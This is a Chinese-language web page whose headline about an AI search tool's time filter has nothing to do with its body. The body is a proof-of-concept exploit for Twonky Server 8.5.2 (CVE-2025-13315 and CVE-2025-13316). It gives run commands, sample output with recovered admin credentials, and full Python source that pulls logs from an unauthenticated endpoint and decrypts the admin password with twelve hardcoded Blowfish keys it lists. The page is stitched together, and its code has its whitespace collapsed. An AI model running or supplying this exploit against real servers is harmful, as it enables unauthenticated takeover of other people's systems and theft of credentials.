秘塔AI时间筛选突然变慢?性能压测数据揭示:92%请求因格式误配触发降级路径
2026/7/23 2:17:41
此项目是一个针对Twonky Server 8.5.2版本中两个关键漏洞(CVE-2025-13315 和 CVE-2025-13316)的概念验证工具。该工具通过利用未经验证的API端点访问日志文件,并结合硬编码的Blowfish密钥解密管理员凭证,可在数秒内获取Twonky服务器的完全管理权限。
该漏洞的CVSS评分为9.3(严重),攻击者无需任何凭据即可远程执行攻击。
运行以下命令安装必要的Python库:
pip3installrequests cryptography运行以下命令启动攻击:
sudopython3 CVE-2025-13315.py http://目标IP:9000假设目标服务器IP为192.168.1.100,运行:
sudopython3 CVE-2025-13315.py http://192.168.1.100:9000成功的攻击将产生类似以下输出:
╔══════════════════════════════════════════════════════════╗ ║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║ ║ CVE-2025-13315 + CVE-2025-13316 ║ ║ 100% Working • No Patch Available • November 2025 ║ ╚══════════════════════════════════════════════════════════╝ [+] Targeting: http://192.168.1.100:9000 [+] Fetching log via CVE-2025-13315 bypass endpoint... [+] Encrypted credential found! Key Index : 3 Ciphertext: a1b2c3d4e5f6... [+] SUCCESS! Plaintext credentials recovered: Username: admin Password: MySecretAdminPass123!defexploit_twonky(target):"""主漏洞利用函数,协调整个攻击流程"""url=f"{target.rstrip('/')}/nmc/rpc/log_getfile"print(f"[+] Targeting:{target}")print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")try:# 利用CVE-2025-13315访问无需认证的日志获取端点r=requests.get(url,timeout=10,verify=False)ifr.status_code!=200orlen(r.text)<100:print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")returnexcept:print("[-] Connection failed. Check IP/port.")return# 使用正则表达式从日志中提取加密凭证# 模式:admin||{密钥索引}{十六进制密文}match=re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})',r.text)ifnotmatch:print("[-] No encrypted credentials found in log.")returnidx=int(match.group(1))# 提取密钥索引cipher_hex=match.group(2)# 提取十六进制密文print(f"[+] Encrypted credential found!")print(f" Key Index :{idx}")print(f" Ciphertext:{cipher_hex[:64]}...")try:# 使用CVE-2025-13316的硬编码密钥解密密码password=decrypt_blowfish_ecb(idx,cipher_hex)print(f"\n[+] SUCCESS! Plaintext credentials recovered:")print(f" Username: admin")print(f" Password:{password}")exceptExceptionase:print(f"[-] Decryption failed:{e}")defdecrypt_blowfish_ecb(key_index,ciphertext_hex):""" 使用ECB模式的Blowfish算法解密数据 参数: key_index: 密钥索引(0-11) ciphertext_hex: 十六进制编码的密文 返回: 解密后的明文密码 """# 从硬编码密钥数组中选择对应的密钥key=KEYS[key_index]# 将十六进制字符串转换为字节ciphertext=binascii.unhexlify(ciphertext_hex)# 创建Blowfish解密器(ECB模式)cipher=Cipher(algorithms.Blowfish(key),modes.ECB(),backend=default_backend())decryptor=cipher.decryptor()# 执行解密padded=decryptor.update(ciphertext)+decryptor.finalize()# 移除PKCS#7填充pad_len=padded[-1]plaintext=padded[:-pad_len]# 返回解码后的字符串,移除空字符returnplaintext.decode('utf-8',errors='ignore').rstrip('\x00')# 从TwonkyServer.exe/libtwonkyserver.so提取的12个静态Blowfish密钥KEYS=[b"E8ctd4jZwMbaV587",# 索引0b"TGFWfWuW3cw28trN",# 索引1b"pgqYY2g9atVpTzjY",# 索引2b"KX7q4gmQvWtA8878",# 索引3b"VJjh7ujyT8R5bR39",# 索引4b"ZMWkaLp9bKyV6tXv",# 索引5b"KMLvvq6my7uKkpxf",# 索引6b"jwEkNvuwYCjsDzf5",# 索引7b"FukE5DhdsbCjuKay",# 索引8b"SpKNj6qYQGjuGMdd",# 索引9b"qLyXuAHPTF2cPGWj",# 索引10b"rKz7NBhM3vYg85mg"# 索引11]if__name__=="__main__":# 显示工具横幅banner=""" ╔══════════════════════════════════════════════════════════╗ ║ Twonky Server 8.5.2 - Full Auth Bypass PoC ║ ║ CVE-2025-13315 + CVE-2025-13316 ║ ║ 100% Working • No Patch Available • November 2025 ║ ╚══════════════════════════════════════════════════════════╝ """print(banner)# 检查命令行参数iflen(sys.argv)!=2:print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")sys.exit(1)# 执行漏洞利用exploit_twonky(sys.argv[1])